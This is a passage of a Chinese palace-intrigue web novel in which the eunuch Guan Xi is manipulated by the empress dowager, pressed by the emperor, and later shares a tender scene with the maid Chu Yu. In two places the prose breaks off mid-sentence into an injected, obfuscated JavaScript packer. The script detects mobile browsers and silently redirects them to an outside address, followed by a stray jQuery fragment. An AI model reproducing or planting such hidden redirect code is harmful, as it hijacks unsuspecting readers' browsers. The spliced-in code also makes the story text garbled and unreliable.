关禧沉默一瞬,走上前,屈膝跪下:“奴才前几日因病未能及时侍奉娘娘,今日又扰了娘娘雅兴,罪该万死,请娘娘责罚。” 郑书意看着他恭顺卑微的姿态,有些意兴阑珊,方才那点因试探和掌控而起的兴致,在绯羽不知轻重的挑衅后,消散了许多。 她放下酒杯,身体前倾。 “责罚?”她重复着这两个字,指尖抬起,落在了他紧抿的唇上,沿着那优美的唇线摩挲,“关禧,你告诉哀家,方才那小子的话,你听了,心里头疼不疼?” 她的指尖温热,动作轻柔,问出的话,却比绯羽的嘲讽更尖锐,更直抵核心。她不是在问罪,她是在剥开他所有的伪装,逼问他最真实的感受。 关禧的身体颤抖了一下。 疼不疼?怎么能不疼?那每一个字都像是凌迟。可他不能说疼,那等于承认自己的脆弱,等于将更多的软肋暴露在她面前。他也不能说不疼,那显得虚伪,更可能激起她更深层的戏弄欲。 他喉结滚动,舌尖尝到了一丝铁锈味,是方才自己咬破的。 “奴才……不敢疼。” 郑书意摩挲他唇瓣的指尖,倏然顿住。 不敢疼。 不是不疼,是不敢。 这个答案,像一根细小的刺,猝不及防地扎进了郑书意的心口。那细微的痛感,混合着酒意,让她有一瞬间的恍惚。她看着眼前这个少年,这个她一手从泥泞里拉出来,又亲手推进更深的权欲与情欲漩涡,打磨成如今这般模样的作品。他拥有了令人生畏的权势,却也背负着洗刷不净的污名。他可以在朝堂上翻云覆雨,却连喊一声疼的资格都没有。 她忽然想起多年前,先帝还在时,她也曾有过类似的不敢。不敢抱怨,不敢任性,不敢流露真实的喜怒。只是她的不敢,最终化作了向上攀爬的阶梯和铠甲。而关禧的不敢,似乎正将他拖向更深泥沿。 一种复杂难言的疲惫感涌了上来。她收回了手,重新靠回软枕上,闭上了眼睛。 “罢了。”她吐出一口气,声音里的醉意和尖锐都淡去了,只剩下深沉的倦怠,“起来吧。坐到哀家身边来。” 关禧依言起身,在榻边坐下,保持着恭敬的距离。 郑书意伸出手,握住了他放在膝上紧握成拳的手。她的手温热柔软,将他冰冷僵硬的手指,一根一根,用力扳开,然后,把自己的手指嵌入他的指缝,紧紧扣住。 “哀家知道你这几日不好过。承华宫那边,冯媛不是个省油的灯。楚玉那丫头,是你的命门,也是你的劫数。” 关禧浑身一震,倏然抬眼看她。 “哀家今日召你来,不是真要听那两个小子胡说八道。是想告诉你,你这颗脑袋,你这副身子,你心里那点念想……既然都卖给了哀家,就得给哀家好好留着,好好用着。别再动不动就弄伤自己,也别再让些阿猫阿狗的话,乱了你的心神。” “你的疼,你的辱,你的命……只有哀家能给,也只有哀家能收。记住了吗?” 关禧望着她近在咫尺的眼睛,那里面映着他苍白的面容。胸腔里那颗心,在经历了屈辱,愤怒之后,竟因她这番半是警告半是独占的关怀,而生出一丝荒芜的暖意。 他点了点头。 “奴才记住了。” “记住了就好。”郑书意似乎真的倦了,浓密的睫毛垂下,在眼脸处投下浅浅的阴影。她身子动了动,顺着贵妃榻柔软的弧度,自然而然地向一侧倾斜,最终,将头靠在了关禧的肩头。 这个姿态,少了几分太后的威仪,多了些寻常女子倚靠的依赖。 殿内暖意融融,烛火的光晕透过层层纱帐,变得柔和朦胧,勾勒着这亲密依偎的剪影。鎏金香炉里,最后一点安神香燃尽,余韵袅袅。窗外,雪落无声。 关禧僵硬地坐着,一动不敢动。肩头的重量和温度是如此真实,真实到让他恍惚。这与她平日里高高在上,或狎呢掌控的姿态截然不同,是一种全然的倚赖。可偏偏,方才清和与绯羽依偎在她身边献媚的画面,还有绯羽那番尖锐的嘲讽,都还刻在他脑海里,像无数细小的冰碴,扎在心口,寒意未散。 沉默在蔓延。 关禧能听到自己心跳的声音,一下,又一下,撞在胸腔上,也撞在耳膜里。他看着两人交握的手,看着自己绯红袖袍上狰狞的蟒纹,再看看她依偎的侧脸,那张卸下了部分防备,在灿光下显得柔和的容颜。 一个念头,不受控制地钻了出来。 他应该保持沉默,应该继续扮演那个恭顺识趣,不敢有丝毫逾越的奴才。可胸腔里翻腾的,不仅仅是方才的屈辱,还有一种更阴暗的情绪。 “……娘娘,这几日奴才病着,未能侍奉跟前,是清和公子与绯羽公子,一直陪着娘娘解闷么?” 话问出口,他自己都觉得幼稚,且大胆得找死。他一个奴才,有什么资格过问太后的私事,还是这等床帏之间的私事? 果然,郑书意靠在他肩头的身体,僵了一下,她抬起脸,坐直了身体。那双因酒意潋滟迷蒙的杏眼,此刻已然恢复了清明,比平时更锐利,就像淬了寒冰的针,直直刺向关禧。 她松开了与他交握的手。 “关禧,你是在质问哀家?” 她偏头,打量着他竭力维持平静的脸,红唇勾起一抹冷峭的弧度:“怎么,哀家身边有谁陪着,做什么,还需要向你这位司礼监掌印一一报备不成?还是说……”她倾身向前,距离近得能让他看清她眼底那片冰冷的讥诮,“你觉着,你病了几天,哀家身边的位置,就该为你空着?嗯?” 每一个字,都像裹着冰碴的鞭子,抽在关禧脸上。他脸色更白了几分,指尖掐进掌心,疼痛让他保持着一丝清醒的屈辱感。他知道自己越界了,问出了最愚蠢的问题。 “奴才不敢。”他垂下眼,声音干涩,“奴才只是……只是……” “只是什么?”郑书意不依不饶,指尖抬起抵上他的下巴,迫使他抬起头,迎上她审视的目光,“只是心里不痛快?看着哀家身边有了新人,吃着味了?关禧,哀家是不是太纵着你了,让你忘了自己的本分?你一个太监,管到哀家床上来了?谁给你的胆子?” 关禧被她眼底的寒意和话语里的轻蔑刺得心头剧痛,那点阴暗的嫉妒和屈辱如野火燎原,快要烧毁残存的理智,他别开脸,挣脱了她指尖的钳制,豁然站起身。 动作太大,带倒了榻边小几上一个空了的白玉酒壶。 “哐哪——”一声脆响,酒壶滚落在地毯上,发出沉闷的声响,在死寂中格外刺耳。 关禧看也没看那酒壶,背对着郑书意,胸膛起伏,绯红坐蟒袍下的肩膀绷得死紧。 他知道自己没资格,可他控制不住。 那种想到她可能用对待他的方式,去对待清和,绯羽,甚至更多人,那种想到自己或许并非特殊,只是她众多解闷玩意儿中还算得用的一个…… 郑书意看着他的背影,起初的怒气,在他这激烈又沉默的反应中,消散了些许。她见过他恭顺,见过他算计,见过他狠戾,见过他崩溃哭泣,却很少见他这样不管不顾的赌气。 就像个被抢了玩具,又不敢明说,只能用摔东西和背过身去表达不满的孩童。这样的关禧,比平日里那个心思深沉,滴水不漏的九千岁,要鲜活得多,也真实得多。 方才被冒犯的不悦渐渐褪去,他在意,他在嫉妒,这说明……他对她的占有欲,比她预想的或许还要深一些?哪怕这种占有欲,建立在他那残缺的身份和扭曲的关系之上。 她整理了一下白己微乱的绯红留仙裙广袖,然后站起身,走到关禧身后,伸出手,从背后,环住了他的腰身。 “真生气了?”她的声音放柔了,不再是方才的冰冷尖锐,“气性这么大?哀家不过随口说了两句。” 关禧身体一僵,没有动,也没有回答。 郑书意低低笑了一声,环在他腰间的手,开始不安分地上下游走,指尖隔着衣料,若有若无划过他紧实的腰腹线条。 “傻子,”她贴着他耳朵呢喃,“你是真傻,还是装傻?那两个玩意儿……不过是哀家找来,瞧瞧你这几日不在,会不会慌神的小把戏罢了。” “他们啊……外表瞧着,是比你还要鲜嫩几分,嘴也甜,会哄人。” 关禧的呼吸骤然一窒。 郑书意立刻察觉,手上的力道紧了紧,将他更牢地圈在怀里,话锋随即一转:“只可惜啊,金玉其外,败絮其中。中看不中用。” 她侧头,柔软的唇瓣擦过他的耳廓,吐气如兰: “剥了那身光鲜皮子,里头……呵,”她嗤笑一声,“瘦伶伶的,没几两肉,那身板,肩不够宽,腰也太细,软塌塌的,哪及得上你……”她的指尖,顺着他的脊椎向下。 “哀家可是亲手丈量过的,你这副身子,才是真真的……宽肩,窄腰,骨肉匀亭,每一寸都绷着劲,藏着力。”她的指尖在某处暗示性按了按,感受着他瞬间的紧绷,“至于别的……” 她停顿了一下,在想如何形容,最终,缓缓道: “他们啊,连给你提鞋都不配。不过是些没开过锋的钝刀子,摆着看看还行,真要用起来,没劲得很。” 她每一句话,都像带着倒刺的钩子,既安抚了他那点可悲的嫉妒,又用最直白的方式,重新将他置于被评估,被比较,被掌控的位置。她肯定了他的实用,又将这种实用与床第之欢紧密相连,再次强调了他作为玩物的本质。 诡异的是,这番话确实像一剂解药,暂时麻痹了关禧心头那翻腾的毒火。至少,在太后这里,在此时此刻,他是特殊的,是有用的,是比那些鲜嫩替代品更厉害的。 他紧绷的身体,在她亲密的怀抱和直白的夸赞下,一点点松驰下来,甚至可耻地,因为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299619|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的触碰和话语,产生了某种反应。 郑书意自然察觉到了,眼中掠过一丝了然的笑意,她扳过他的身体,让他面对自己。 烛光下,他的脸苍白,眼尾泛着红,不知是气的,还是别的什么,那双凤眼低垂着,长睫在眼下投出浓密的阴影,遮住了所有情绪。 “现在,还气么?”郑书意抬手,用指腹抚过他紧抿的唇线,“为着两个上不得台面的东西,跟哀家置气?值当么?” 关禧终于抬起眼,对上她的眸子。那双杏眼里,此刻盛满了看似温柔的笑意,可深处,依旧是深不见底的幽潭。他知道,这场幼稚的质问和随之而来的哄劝,不过是又一场她主导的游戏。他得到了想要的答案,却也再次被钉死在了玩物和奴才的位置上。 他扯了扯嘴角,挤出一个顺从的笑。 “这才乖。”郑书意满意了,牵起他的手,将他重新引回贵妃榻边,“夜还长,陪哀家说说话。外头那些烦心事,暂且都放下。” 她重新依偎进他怀里。 这次,关禧没有僵硬,抬起手臂,环住了她的肩。 鎏金香炉里,香正燃到好处,安神香气将寝殿裹得密不透风。 郑书意靠在他怀里,呼吸匀长。 过了约莫一炷香的时间,她才动了动,换了个更舒服些的姿势。 “今儿午膳,皇帝来了。” 关禧垂下眼,只能看见她鸦黑的发顶和一小片光洁的额。他没出声,等着下文。 “内库年节开□□些账目,条条框框,琐碎得很。”郑书意像是随口提起家常,指尖拨弄着他坐蟒袍袖口的金线,“皇帝倒是有耐性,陪着哀家一笔一笔对。末了,还说今年北边收成尚可,江南织造也平稳,内库盈余,让哀家看着多添置些心爱之物,不必太过节俭。” 她顿了顿,笑了一声,那笑声里听不出多少愉悦,“说是请哀家裁夺,字字句句,倒都是顺着哀家的意思来。连哀家说今年永寿宫修缮的款子超了些,他也只说母后住得舒心要紧,一句多余的话都没有。” 皇帝服软了,至少在明面上。这不意外。永昌元年至今,朝堂后宫,太后的根基盘根错节,皇帝虽年轻气盛,锐意进取,但真要撕破脸,时机远未成熟。他的皇位是太后一手扶上来的,如今龙椅尚未坐得滚烫,羽翼也未丰,除了暂且低头,还能如何? “陛下仁孝,是娘娘的福气,也是天下之福。”关禧开口,声音平稳,是恰到好处的恭维。他心底确实也松了口气。皇帝和太后之间若能维持住这表面和睦,哪怕只是暂时的,他这把架在中间的刀,压力也能小些。不必时刻提防着被哪一方当作率先发难的祭旗,或是被两股巨力彻底撕碎。 “福气?”郑书意重复了一遍,从他怀中稍稍仰起脸,烛光映进她半阖的杏眼,漾着微妙的光,“但愿他是真知道这福气该怎么惜。” 她话里有话,关禧只当未觉,顺着道:“陛下天资聪颖,假以时日,必能体会娘娘一片苦心。” 郑书意盯着他看了片刻,忽地又笑了,这次笑意真切了些,却让关禧心头莫名一紧。她伸出一根手指,点了点他的胸口,“他呀,如今倒是不怎么跟哀家拧着了。许是知道拧不过。不过,这孩子心思重,不服气是写在骨子里的。今儿临走前,还跟哀家提了一嘴……” 她故意拖长了音调,欣赏着关禧不自觉屏住的呼吸。 “提了你。” “说什么关掌印年轻有为,办事利落,如今司礼监和内厂打理得井井有条,他很是倚重。还说……瞧着掌印近日气色似有不佳,可是公务太过繁重?若是累着了,他那边倒有几个得用的老成内侍,可以暂时分忧,也好让掌印好生将养。” 话音落下。 关禧的睫毛颤动了一下,浑身的血液似乎在这一刻凝滞了,随即又轰然冲上头顶,耳中嗡嗡作响。方才那点因为皇帝服软而生的轻松荡然无存。 皇帝想要他。 不是倚重,不是体恤。那些话,字面上是关怀,是体谅,可落在关禧耳中,分明是试探,是伸手,是想将他从太后身边撬动的企图。什么老成内侍分忧,分明是想在他身边安插钉子,甚至将他调离要害位置,架空,或者干脆纳入皇帝自己的掌控之下。 他才“病”了几日,皇帝就迫不及待地向太后暗示要人了?还是说,皇帝和太后之间达成了某种新的平衡或交易,而他关禧,成了可以被摆上桌谈论的筹码之一?他不过是这母子二人权力棋盘上一枚比较重要的棋子,随时可能被拿起放下,或者交换。 郑书意感受到了他身体的僵硬和紊乱的呼吸。她抬起眼,看到他血色褪尽的侧脸,那双总是努力维持沉静的凤眼里,映出了惊涛骇浪。 她心情愉悦了些。方才他那点因绯羽而起的别扭和此刻因皇帝一句话而生的恐慌,两相对比,倒是后者更让她满意。这说明他知道怕,知道离了她,皇帝那边绝非善地,是更凶险的龙潭虎穴。 “怎么?吓着了?”她凑近他,气息拂过他的耳廓,“放心,哀家还没应他。你的人,哀家用着顺手,岂能随便让出去?” 关禧倏然转头,看向近在咫尺的郑书意,眼中还残留着未散的惊悸,声音哑得厉害:“娘娘……” “不过,”郑书意话锋一转,指尖抬起,抚过他紧抿的唇,“皇帝既然开了这个口,哀家也不好全然驳了他的面子。毕竟,他是君,你是臣。” 关禧的心再次提起。 “往后啊,皇帝那边若有什么差事交代你,或是召你问话,你便去。该办的事办好,该回的话回妥。只是要记住,你是谁的人,该听谁的话。皇帝给你再多的赏识,许你再大的前程,那都是虚的。你的根,在哀家这儿。离了永寿宫,你什么都不是。明白吗?” 她这是在敲打,也是在画线。允许他一定程度上接触皇帝,甚至是配合皇帝,但忠诚的底线必须牢牢焊死在永寿宫。她要他应付皇帝的拉拢与可能的试探,又要确保他这根线始终攥在她手里。 前一刻还以为能稍得喘息,下一刻便被推向了更错综复杂的境地。皇帝和太后,他一个也得罪不起,如今却要同时周旋于两者之间,稍有不慎,便是粉身碎骨。 但他没有选择。 皇帝的手,已经明晃晃伸过来了。 而太后的庇护,从来都不是无偿的。她给他权势,也给他套上枷锁;她允他活着,也让他时刻活在刀尖之上。 “奴才明白。奴才的一切,都是娘娘给的。奴才……只忠于娘娘一人。” 郑书意终于满意了,她奖励般在他唇角吻了一下,很轻,一触即分。 “乖。夜深了,歇吧。” 123.第 123 章 自那以后,关禧果真按照太后的意思,成了一根绷在乾元殿与永寿宫之间的弦。 白日里,他是那个雷厉风行,手段酷烈的司礼监掌印,提督内厂。堆积如山的奏章密报,他批阅得比以往更快,朱砂御笔落下,往往便是生死定夺。内缉事厂的耳目在京畿织成一张更密的网,年前的大小案件,抓人抄家,震慑宵小,桩桩件件都透着急于巩固权势,无暇他顾的狠厉。 皇帝召见的次数也多了些。 有时是询问漕运,边饷的细节,有时是让他解读某份语焉不详的密奏,有时甚至只是让他陪着在御花园走一走,说些看似闲散,实则暗藏机锋的话。 关禧应对得越发滴水不漏,恭敬中带着疏离,机敏里透着公事公办的圆滑。萧衍问什么,他便答什么,绝不多言,更不流露任何可能被解读为投靠或怨怼的情绪。 他牢记着郑书意的警告,他的根在永寿宫。 有几回,夜色已深,乾元殿的小太监悄悄来传话,说陛下有要事相询。关禧或是已“奉太后懿旨”在永寿宫伺候,或是以“厂务紧急,正在刑讯要犯,恐污浊之气冲撞圣颜”为由婉拒。 最出格的一次,萧衍饮了些酒,直接让孙得禄来传口谕,要他即刻入宫侍驾。彼时关禧正在内衙处理最后一份关于年节京师治安的布防图,闻言沉默片刻,提笔在图上某处画了个圈,对忐忑不安的孙得禄道:“请孙公公回禀陛下,奴才手头确有十万火急之事关乎宫禁安全,不敢片刻离身。陛下若有要务,奴才明日一早便去乾元殿请罪。” 他终究过不了自己心里那道坎。灵魂深处,他始终是女性。被太后掌控,是迫于形势,是权力交换,是求生与保护楚玉不得不付出的代价。可若主动向一个男人,即便这个男人是天下至尊,献上这具他早已厌恶却不得不依赖的身体,那种屈辱和恶心,他做不到。 皇帝那边,竟也真的没有进一步逼迫。 萧衍不缺男人。年轻帝王,富有四海,又值血气方刚之年,后宫佳丽三千尚嫌不足,私下里蓄养几个清俊内侍或貌美优伶,算不得什么惊天秘闻。 他只是不甘。 关禧越是这样看似恭顺实则疏远,越是透着一股与年龄不符的深沉和难以掌控的神秘,就越是让他心痒。就像看到一柄镶金嵌玉,寒光凛冽的宝刀,明明知道握在手中可能会割伤自己,却还是忍不住想要试试它的分量,感受它的锋利。但帝王的自制力终究远超常人,既然一时强求不得,他便也按捺下来,只是那目光,落在关禧身上的次数,愈发多了几分耐人寻味的审视。 日子便在这样一种紧绷又诡异的平衡中滑过。 很快,便到了腊月廿三。 依照内缉事厂立下的老规矩,腊月廿三祭灶小年一过,至正月初三,除却必须留守的关键岗位和轮值番役,厂内其余人等,皆可分批次休假轮值。轮休期间,家近者可告假出宫探亲访友,无家可归或路途遥远的,也可在宫内歇息。每人额外支领一份丰厚的节赏,算是督主体恤。 关禧也给自己放了假。元旦大典的繁文缛节自有礼部和内官监操心,祭天祭祖,朝贺饮宴,他这位司礼监掌印只需在关键节点露个面,或是预先审阅流程,批红用印即可。真正需要他费神盯着的是期间的安全保卫和各方势力的动态,这些早在月中就已布置妥当。眼下,他难得有了几日可以喘息的空白。 腊月廿八这天,天空阴沉,飘着细碎的雪沫,不算太冷。 内缉事厂衙署比往日清静许多,只余下少数轮值的番役和文书。 关禧难得没有穿那身象征权势绯红坐蟒袍,只着一件深青色的云纹锦缎常服,外罩玄狐皮里子的鸦青披风,独自坐在后衙暖阁的窗边看书。手边小几上温着一壶酽茶,几碟精致但不显奢靡的点心。书是前朝某位不得志文人的山水游记,笔调疏淡,倒能让他暂时从血腥的案牍中抽离片刻。 双喜进来添了一次炭,又悄悄退了出去。 不知过了多久,门外忽然传来一阵骚动,夹杂着刻意压低的惊讶抽气声,以及一个带着迟疑的清冷嗓音。 关禧翻书的手指顿住了。 暖阁的门被推开一条缝,双喜探进半个脑袋,脸上表情古怪,“督主……青、青黛姑娘来了。” 关禧手中的书,“啪”一声,掉在了铺着厚绒毯的地上。 他抬起头,看向门口。 细碎的雪沫从门缝间飘入几片,旋即被室内的暖意融化。一道纤细的身影,裹着一件银灰色锦缎斗篷,兜帽边缘镶着雪白的风毛,遮住了大半张脸,正立在门口,雪花点点落在她的肩头。 是楚玉。 她……怎么来了?关禧立刻站起了身,动作太快,带倒了身下的紫檀木圈椅,发出“哐当”一声闷响。 楚玉被这声响动惊了一下,抬起了头。兜帽滑落些许,露出她清减了许多的脸庞。病后的苍白尚未完全褪去,唇色也淡,但那双沉静的眼眸,在氤氲的雪光里,映出了他的身影。 她的目光在他身上停留了一瞬,随即垂下,规规矩矩地福了一礼,“奴婢青黛,见过关掌印。” 关禧这才回过神,意识到自己的失态,弯腰扶起倒下的椅子,然后才转向双喜,“不必多礼。双喜,看座,上茶。” 双喜“哎”了一声,搬来一张铺着软垫的绣墩,又沏了杯热茶,放在楚玉手边,然后极有眼色地退了出去,还顺手带上了暖阁的门,自己则像尊门神似的守在了外头,拦住了所有好奇窥探的视线。 暖阁内只剩下他们两人。 关禧站在原地,目光一寸寸掠过楚玉。她比上次在承华宫见面时气色好了些,乌发挽成简单的圆髻,只插着一支素银簪子,再无多余饰物,脸上脂粉未施,肌肤在暖阁的光线下透出一种细腻的瓷白。 “你的病……可大好了?” “劳掌印挂心,已无大碍了。太医说仍需静养,但日常走动无妨。”楚玉端起茶杯,暖着手。 “那便好。”关禧喃喃道,一时竟不知该说什么。万千话语堵在胸口,问她怎么突然来了?问她冯媛知不知道?问她是不是又有什么事?可这些话到了嘴边,都显得那么不合时宜。他怕吓着她,更怕这难得的相见,会因为自己任何一句不妥的话而打破。 沉默再次蔓延。 还是楚玉先开了口,她放下茶杯,抬起眼,看向关禧,语气像在陈述一件最寻常不过的事情:“今日得空,想起当初从承华宫调出来的小宫女小菊,如今在掌印的档房做些糊裱除尘的轻省活计。她与双喜是同乡,年节将近,我便过来看看她,顺道……也替娘娘送些她惯用的安神香料给双喜,谢他平日照应。” 理由合情合理,天衣无缝。小菊是双喜当初看同乡情分,在内厂初立,人手杂乱时推荐进来的,确实在档房做些整理杂务。楚玉以看望旧人,代主送礼为名,出现在内缉事厂衙署,任谁也挑不出错处。 可关禧知道,这不过是借口。 他看着她沉静的眼,看着她蜷起又松开的手指,看着她刻意避开的视线下那一点点不易察觉的紧张。她来了。在他给自己放了假,衙门清冷的腊月廿八,在她大病初愈,本该在承华宫静养的时候,她找了这样一个无可指摘的借口,来到了他的地盘。 “档房在后面西厢,小菊今日……应该也在。双喜就在外面,让他带你去吧。” 他没有戳破,配合着她维持这层正常表象。 楚玉“嗯”了一声,站起身。她看着关禧,嘴唇动了动,最终只是又福了一礼。 她转身,走向门口,手搭上了门。 “等等。” 楚玉停下脚步,没有回头。 “既然来了……档房杂乱,也没什么好看的。西厢那边冷,你病刚好,别又着了凉。”关禧顿了顿,下定决心,“……就在这儿坐坐吧。喝杯热茶再走。” 楚玉搭在门上的手,放下了,转过身,走回了绣墩旁,重新坐下。 这一次,她端起了那杯已经温了的茶,轻抿了一口。 关禧的心,随着她坐下的动作,才落回了实处。 然后,他跟着也坐下。 不是回到他那张宽大的紫檀木圈椅,而是在离楚玉不远不近的另一张绣墩上。紫檀木圈椅太远,像一道象征身份的鸿沟,而太近的锦凳又显得唐突。 这个距离,刚刚好能看到她低垂的侧脸,能感受到她身上那股混合着药香与清冷气息的味道,又不至于让她感到压迫。 他坐得有些僵硬,背脊挺得笔直,深青色的锦缎常服勾勒出清晰的肩线,双手规规矩矩放在膝上。 暖阁里很安静。方才楚玉突然出现的冲击感渐渐沉淀,转化为一种更绵密,更令人心头发紧的悸动。 她就在这里,在他的地方,真实存在着。 他偷眼去看她。她正低头看着杯中沉浮的茶叶,长睫在她苍白的脸颊上投下浅淡的阴影,神情是惯常的疏离平静,仿佛真的只是来探访旧人,顺便歇脚。可她握着杯盏的手指,关节泛白,透着一丝不易察觉的用力。 她也紧张。 他舒了一口气,紧绷的肩背放松了些许。不是他一个人在面对这突如其来的亲近。 视线不受控制地在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302115|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上流连。银灰色的斗篷已经解开,搭在膝上,露出里面淡青色夹袄,料子不算顶好,却浆洗得干干净净,衬得她脖颈那一截肌肤愈发莹白。病后的清减让她下巴尖了些,锁骨也更明显,有种易碎的脆弱感,也莫名地更加惹人怜惜。 他的目光太直接,太不加掩饰,楚玉无法再维持那份专注品茶的假象。她抬起眼,目光与他撞了个正着。 关禧心头一跳,像是被那清冷的眸光钉住了。暖阁内光线柔和,她眼底那片熟悉的沉寂里,似乎有什么东西在深处晃动,像冰层下流动的暗涌。 他看着她,身体像是有了自己的意志,开始向他渴望的方向,挪动了一寸。 绣墩与绣墩之间原本就不宽的距离,被缩短了。 楚玉的呼吸滞了一瞬,握着茶杯的手指收得更紧。 关禧的心跳得更快了,咚咚地撞击着胸腔。他继续靠近,一点,又一点,直到两人衣袖的边缘要触碰到一起。他停了下来,侧头,鼻尖能嗅到她发间传来的冷香,不是宫中常见的暖调花香,而是像雪后松针,混合着一点清苦的药草气息,凛冽干净,与她的人一样。连日来积压的疲惫焦躁,还有对皇帝与太后之间如履薄冰的紧绷,都被这清冽的气息涤荡了些许。 他的目光落在她近在咫尺的耳廓上,那轮廓优美,耳垂上干干净净,没有任何饰物。他想起以前在承华宫时,见她戴过一对珍珠耳坠,后来就再也没见过了。 “……瘦了。下巴都尖了。” 楚玉长睫颤了颤,没有回应他关于胖瘦的话,反问:“掌印今日似乎清闲?” “嗯,给自己放几天假。”关禧的目光流连在她耳侧,颈项的线条上,“年关琐事都安排得差不多了。倒是你,才好些,怎么就冒雪出来了?”他顿了顿,声音更压低了些,“冯昭仪……准你出来?” 提及冯媛,楚玉的眼神黯了一下,随即恢复平静:“娘娘仁厚,体恤我病中闷得慌,今日正好要往御用监送些绣样核对,我便主动请缨,顺路过来看看。”她避重就轻,将主动请缨说得轻描淡写。 顺路?内缉事厂衙署在东安门内北,御用监在西华门附近,这路顺得可有些远。关禧心里明镜似的,她是特意来的。用这样一个看似合理,实则经不起细究的借口,跨越了大半个宫廷,来到这令人闻之色变的厂卫核心之地,只为了……看他一眼?或者,让他看她一眼? 这个认知让他胸口发胀,那股渴望像藤蔓般疯长,缠绕着他的理智。他不再满足于仅仅是靠近,仅仅是嗅闻她的气息。 他的手,那只曾执掌生杀,批阅奏章的右手,从膝上抬起,试探性伸向楚玉放在膝上的左手。 指尖在空中停顿了一瞬,像是等待某种许可,又像是积蓄勇气。 楚玉的视线随着他的手移动,呼吸屏住了,身体却没有动,任由那只骨节分明,略显苍白的手,覆在了她的手背上。 触感温热。 关禧的指尖先是僵硬贴着,随即,像是汲取那一点点暖意般,指腹开始在她光滑的手背上摩挲,从指关节,到手背中央,再到纤细的手腕。 楚玉的手背肌肤细腻,能感受到他指腹的薄茧带来的轻微刺痒。她垂下眼,看着两人交叠的手,他绯红的袖口与她淡青的袖缘挨在一起,色彩对比鲜明。 她没有抽回手。 关禧的心,随着她默许的姿态,一点点被暖流涨满。他摩挲的力道稍稍加重了些,拇指指腹沿着她手腕内侧那道细微的青色血管,缓缓向上,停在了脉搏跳动的地方。那里的肌肤更薄,他能感受到她脉搏的节奏,一下,又一下,起初有些快,渐渐趋于平稳。 他的拇指就那样按在那里,感受着那生命的律动,透过这细微的跳动,触摸到了她平静表面下同样并不平静的心湖。 暖阁里更静了。 关禧的胆子,在她的纵容下,又大了些。他倾身,靠得更近,鼻尖几乎要碰到她的鬓发。那缕清冷的雪松药草香愈发清晰,萦绕在鼻端,让他有些沉迷。他闭上眼,吸了一口气,气息拂过她耳畔散落的几缕发丝。 楚玉的耳根,泛起了红晕。她想偏头躲开,那只被关禧握住的手,指尖蜷缩了一下。 察觉到她的细微闪躲,关禧的动作顿住了。他没有再进一步靠近,握着她的手,拇指贴着她的脉搏,目光落在她泛红的耳廓上。 “……楚玉。”他唤她的名字,“就这样待一会儿,行吗?” 楚玉垂着眼,看着两人交握的手,看着他那修长和些许旧伤痕的手指,与自己的手指纠缠在一起。 良久,她“嗯”了一声。 124.第 124 章 暖阁里太静了,静得能听见彼此的呼吸声。 关禧不太习惯这样的安静,尤其是在她面前。他习惯了发号施令,习惯了应对各种机锋,习惯了在太后和皇帝之间用沉默或言语周旋,可唯独在她这里,在这种毫无利害算计的相处里,他笨拙得像个初出茅庐的少年。 “咳,”他清了清嗓子,试图打破沉寂,“你之前那场病……太医最后怎么说?到底是因着什么起的?只说风寒引发旧疾,未免太笼统了些。” 他问得有些急切,可话一出口又觉得不妥,这岂不是在质疑冯媛没有照料好她?他立刻补充,语气放得更缓,“我的意思是,知道了根由,往后也好仔细调养,免得再受罪。” 楚玉的视线落在两人交叠的手上,声音没什么起伏:“劳掌印记挂。周院判诊过脉,说是素日思虑劳神,气血有亏,底子便虚了。那日夜里不当心,在廊下多吹了会儿风,寒气侵了肺经,便一发不可收拾。”她顿了顿,叹了口气,那叹息淡得像一缕烟,“原是我自己不当心,怨不得旁人。” 思虑劳神,气血有亏…… 关禧的心像被针扎了一下。她思虑什么?劳神什么?是承华宫永远处理不完的琐务?是冯媛那些或许连她自己都理不清的心思?还是他关禧带来的无穷无尽的麻烦和危险? “底子虚,就更该好好养着。你平日太不爱惜自己。” 楚玉没有接话,偏过头,目光投向窗外细雪纷飞的庭院,侧脸线条在昏暗光线下显得格外清冷。 见她无意多谈病情,关禧抿了抿唇,心头那份想要更了解她的渴望越发强烈。他知道她叫楚玉,知道她是冯媛身边最得用的宫女,知道她冷静聪慧,甚至知道她对自己那份复杂难言的心意。可除此之外呢?她来自哪里?家中还有什么人?为何成了冯媛身边如此亲近的人?今年年岁几何?这些最寻常不过的问题,他竟然一概不知。 以前是不敢问,后来是没机会问,怕触及她的过去,也怕自己的身份不配。可现在不同了。他是司礼监掌印,是权倾朝野的九千岁,他有无数种方法可以查清她的一切,可他不想。他希望,这些关于她的点滴,能从她口中亲自说出来,这样,才能证明他们之间,有那么一点点不同于这宫里其他利用与依附的关系。 他犹豫了片刻,手指在她手背上划了一下,“你……是哪里人?”他问得有些突兀,声音也压得低,目光紧紧锁着她,不放过她脸上任何一丝细微的变化,“听口音,倒像是……南边来的?” 楚玉没料到他突然问起这个,转回视线,看了他一眼,那眼神平静,却像是隔着薄雾,看不真切,“我原籍江南苏州府。”她答得简洁,没有半分拖沓,也未见多少怀乡之情。 